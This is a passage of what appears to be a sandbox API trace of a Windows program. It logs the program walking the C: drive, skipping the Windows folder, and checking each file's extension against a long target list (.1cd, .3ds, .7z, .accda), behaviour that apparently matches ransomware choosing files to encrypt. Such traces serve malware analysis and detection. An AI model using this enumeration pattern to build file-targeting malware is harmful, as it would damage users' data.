cAlternateFileName="")) returned 0 [0094.464] FindClose (in: hFindFile=0x4260490 | out: hFindFile=0x4260490) returned 1 [0094.464] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x35d0060 | out: hHeap=0x440000) returned 1 [0094.467] FindNextFileW (in: hFindFile=0x459c60, lpFindFileData=0x3cdfcf8 | out: lpFindFileData=0x3cdfcf8*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xe47a48a8, ftCreationTime.dwHighDateTime=0x1d112ea, ftLastAccessTime.dwLowDateTime=0xef6fa258, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xfb90936b, ftLastWriteTime.dwHighDateTime=0x1d2fa06, nFileSizeHigh=0x0, nFileSizeLow=0x607da, dwReserved0=0x77bb0000, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0094.536] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x35d0060 | out: hHeap=0x440000) returned 1 [0094.536] FindNextFileW (in: hFindFile=0x459c60, lpFindFileData=0x3cdfcf8 | out: lpFindFileData=0x3cdfcf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2b2eaf, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xc1969407, ftLastAccessTime.dwHighDateTime=0x1d327d0, ftLastWriteTime.dwLowDateTime=0xc1969407, ftLastWriteTime.dwHighDateTime=0x1d327d0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ESD", cAlternateFileName="")) returned 1 [0094.537] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x35d0060 | out: hHeap=0x440000) returned 1 [0094.537] FindNextFileW (in: hFindFile=0x459c60, lpFindFileData=0x3cdfcf8 | out: lpFindFileData=0x3cdfcf8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x7ef2dddf, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x7ef2dddf, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x3d7ebe9, ftLastWriteTime.dwHighDateTime=0x1d4d600, nFileSizeHigh=0x0, nFileSizeLow=0x332fe000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0094.540] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x4bc808, Size=0x4000) returned 0x3687e38 [0094.541] FindNextFileW (in: hFindFile=0x4260250, lpFindFileData=0x3cdfa7c | out: lpFindFileData=0x3cdfa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50cef47f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50cef47f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-DeviceSetupManager%4Admin.evtx", cAlternateFileName="MIA726~1.EVT")) returned 1 [0094.544] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x35d0060 | out: hHeap=0x440000) returned 1 [0094.544] FindNextFileW (in: hFindFile=0x459c60, lpFindFileData=0x3cdfcf8 | out: lpFindFileData=0x3cdfcf8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6e97b025, ftCreationTime.dwHighDateTime=0x1d3275c, ftLastAccessTime.dwLowDateTime=0x6e97b025, ftLastAccessTime.dwHighDateTime=0x1d3275c, ftLastWriteTime.dwLowDateTime=0x47384f2, ftLastWriteTime.dwHighDateTime=0x1d4d600, nFileSizeHigh=0x0, nFileSizeLow=0x28000000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pagefile.sys", cAlternateFileName="")) returned 1 [0094.544] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x35d0060 | out: hHeap=0x440000) returned 1 [0094.544] FindNextFileW (in: hFindFile=0x459c60, lpFindFileData=0x3cdfcf8 | out: lpFindFileData=0x3cdfcf8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x9fc460fc, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0x9fc460fc, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1 [0094.548] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42a3e88 | out: hHeap=0x440000) returned 1 [0094.548] FindNextFileW (in: hFindFile=0x42604d0, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe69596b0, ftCreationTime.dwHighDateTime=0x1d53c24, ftLastAccessTime.dwLowDateTime=0x65920d50, ftLastAccessTime.dwHighDateTime=0x1d57afe, ftLastWriteTime.dwLowDateTime=0x65920d50, ftLastWriteTime.dwHighDateTime=0x1d57afe, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="lang hl gis.exe", cAlternateFileName="LANGHL~1.EXE")) returned 1 [0094.549] RtlReAllocateHeap (Heap=0x440000, Flags=0x0, Ptr=0x3687e38, Size=0x8000) returned 0x42c3e98 [0094.549] FindNextFileW (in: hFindFile=0x4260250, lpFindFileData=0x3cdf308 | out: lpFindFileData=0x3cdf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a0ce4e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80a0ce4e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6c5dd00, ftLastWriteTime.dwHighDateTime=0x1d0c58c, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-timezone-l1-1-0.dll", cAlternateFileName="AP7902~1.DLL")) returned 1 [0094.551] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0094.551] FindNextFileW (in: hFindFile=0x4260490, lpFindFileData=0x3cdf584 | out: lpFindFileData=0x3cdf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb3e1c92c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb3e1c92c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ink", cAlternateFileName="")) returned 1 [0094.554] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42cbea0 | out: hHeap=0x440000) returned 1 [0094.554] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x3cdf308 | out: lpFindFileData=0x3cdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0553f37, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg-BG", cAlternateFileName="")) returned 1 [0094.554] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42cbea0 | out: hHeap=0x440000) returned 1 [0094.554] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x3cdf308 | out: lpFindFileData=0x3cdf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe46546cb, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe46546cb, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x69a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Content.xml", cAlternateFileName="")) returned 1 [0094.554] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42cbea0 | out: hHeap=0x440000) returned 1 [0094.554] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x3cdf308 | out: lpFindFileData=0x3cdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05550d5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0094.555] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42cbea0 | out: hHeap=0x440000) returned 1 [0094.555] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x3cdf308 | out: lpFindFileData=0x3cdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0555b2c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0094.555] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42cbea0 | out: hHeap=0x440000) returned 1 [0094.555] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x3cdf308 | out: lpFindFileData=0x3cdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa055662c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0094.555] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42cbea0 | out: hHeap=0x440000) returned 1 [0094.555] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x3cdf308 | out: lpFindFileData=0x3cdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0557085, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-GB", cAlternateFileName="")) returned 1 [0094.555] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42cbea0 | out: hHeap=0x440000) returned 1 [0094.555] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x3cdf308 | out: lpFindFileData=0x3cdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05dd09d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe8231541, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0094.556] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42cbea0 | out: hHeap=0x440000) returned 1 [0094.556] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x3cdf308 | out: lpFindFileData=0x3cdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05ddf5c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0094.556] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42cbea0 | out: hHeap=0x440000) returned 1 [0094.556] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x3cdf308 | out: lpFindFileData=0x3cdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05dea14, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-MX", cAlternateFileName="")) returned 1 [0094.557] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42cbea0 | out: hHeap=0x440000) returned 1 [0094.557] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x3cdf308 | out: lpFindFileData=0x3cdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05df011, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="et-EE", cAlternateFileName="")) returned 1 [0094.557] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42cbea0 | out: hHeap=0x440000) returned 1 [0094.557] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x3cdf308 | out: lpFindFileData=0x3cdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05df7b6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0094.557] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42cbea0 | out: hHeap=0x440000) returned 1 [0094.557] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x3cdf308 | out: lpFindFileData=0x3cdf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c8f49e8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd11f8841, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd11f8841, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x186b84, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlickAnimation.avi", cAlternateFileName="")) returned 1 [0094.557] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42cbea0 | out: hHeap=0x440000) returned 1 [0094.557] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x3cdf308 | out: lpFindFileData=0x3cdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06369df, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0094.557] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42cbea0 | out: hHeap=0x440000) returned 1 [0094.557] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x3cdf308 | out: lpFindFileData=0x3cdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0637839, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fsdefinitions", cAlternateFileName="FSDEFI~1")) returned 1 [0094.558] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42fbeb0 | out: hHeap=0x440000) returned 1 [0094.558] FindNextFileW (in: hFindFile=0x42605d0, lpFindFileData=0x3cdf08c | out: lpFindFileData=0x3cdf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="auxpad.xml", cAlternateFileName="")) returned 1 [0094.558] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42fbeb0 | out: hHeap=0x440000) returned 1 [0094.558] FindNextFileW (in: hFindFile=0x42605d0, lpFindFileData=0x3cdf08c | out: lpFindFileData=0x3cdf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="insert.xml", cAlternateFileName="")) returned 1 [0094.558] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42fbeb0 | out: hHeap=0x440000) returned 1 [0094.559] FindNextFileW (in: hFindFile=0x42605d0, lpFindFileData=0x3cdf08c | out: lpFindFileData=0x3cdf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2b5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="keypad.xml", cAlternateFileName="")) returned 1 [0094.559] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42fbeb0 | out: hHeap=0x440000) returned 1 [0094.559] FindNextFileW (in: hFindFile=0x42605d0, lpFindFileData=0x3cdf08c | out: lpFindFileData=0x3cdf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e448143, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e448143, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e448143, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xadda, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="main.xml", cAlternateFileName="")) returned 1 [0094.559] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42fbeb0 | out: hHeap=0x440000) returned 1 [0094.559] FindNextFileW (in: hFindFile=0x42605d0, lpFindFileData=0x3cdf08c | out: lpFindFileData=0x3cdf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xdd, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="oskclearui.xml", cAlternateFileName="")) returned 1 [0094.560] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42fbeb0 | out: hHeap=0x440000) returned 1 [0094.560] FindNextFileW (in: hFindFile=0x42605d0, lpFindFileData=0x3cdf08c | out: lpFindFileData=0x3cdf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3fbc74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3fbc74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3fbc74, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="oskmenu.xml", cAlternateFileName="")) returned 1 [0094.560] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42fbeb0 | out: hHeap=0x440000) returned 1 [0094.560] FindNextFileW (in: hFindFile=0x42605d0, lpFindFileData=0x3cdf08c | out: lpFindFileData=0x3cdf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3fbc74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3fbc74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3fbc74, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="osknav.xml", cAlternateFileName="")) returned 1 [0094.560] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42fbeb0 | out: hHeap=0x440000) returned 1 [0094.560] FindNextFileW (in: hFindFile=0x42605d0, lpFindFileData=0x3cdf08c | out: lpFindFileData=0x3cdf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xdb, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="osknumpad.xml", cAlternateFileName="")) returned 1 [0094.560] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42fbeb0 | out: hHeap=0x440000) returned 1 [0094.560] FindNextFileW (in: hFindFile=0x42605d0, lpFindFileData=0x3cdf08c | out: lpFindFileData=0x3cdf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="oskpred.xml", cAlternateFileName="")) returned 1 [0094.561] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42fbeb0 | out: hHeap=0x440000) returned 1 [0094.561] FindNextFileW (in: hFindFile=0x42605d0, lpFindFileData=0x3cdf08c | out: lpFindFileData=0x3cdf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x24f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="symbols.xml", cAlternateFileName="")) returned 1 [0094.561] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42cbea0 | out: hHeap=0x440000) returned 1 [0094.974] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x3cdf308 | out: lpFindFileData=0x3cdf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cf9a3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-IL", cAlternateFileName="")) returned 1 [0094.974] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\he-IL") returned 56 [0094.974] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files\\Common Files\\microsoft shared\\ink\\he-IL") returned 1 [0094.974] lstrlenW (lpString="he-IL") returned 5 [0094.974] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="he-IL") returned -1 [0094.974] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4283e78 [0094.975] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\he-IL") returned 56 [0094.975] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\he-IL\\*", lpFindFileData=0x3cdf08c | out: lpFindFileData=0x3cdf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cf9a3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4260290 [0094.975] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x3cdf08c | out: lpFindFileData=0x3cdf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cf9a3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0094.975] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x3cdf08c | out: lpFindFileData=0x3cdf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c3a52f7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3c3a52f7, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3c3a52f7, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0094.975] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0094.975] lstrlenW (lpString=".1cd") returned 4 [0094.975] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0094.975] lstrlenW (lpString=".3ds") returned 4 [0094.975] lstrcmpiW (lpString1=".3ds", lpString2=".mui") returned -1 [0094.975] lstrlenW (lpString=".3fr") returned 4 [0094.975] lstrcmpiW (lpString1=".3fr", lpString2=".mui") returned -1 [0094.975] lstrlenW (lpString=".3g2") returned 4 [0094.975] lstrcmpiW (lpString1=".3g2", lpString2=".mui") returned -1 [0094.975] lstrlenW (lpString=".3gp") returned 4 [0094.975] lstrcmpiW (lpString1=".3gp", lpString2=".mui") returned -1 [0094.975] lstrlenW (lpString=".7z") returned 3 [0094.975] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0094.975] lstrlenW (lpString=".accda") returned 6 [0094.975] lstrcmpiW 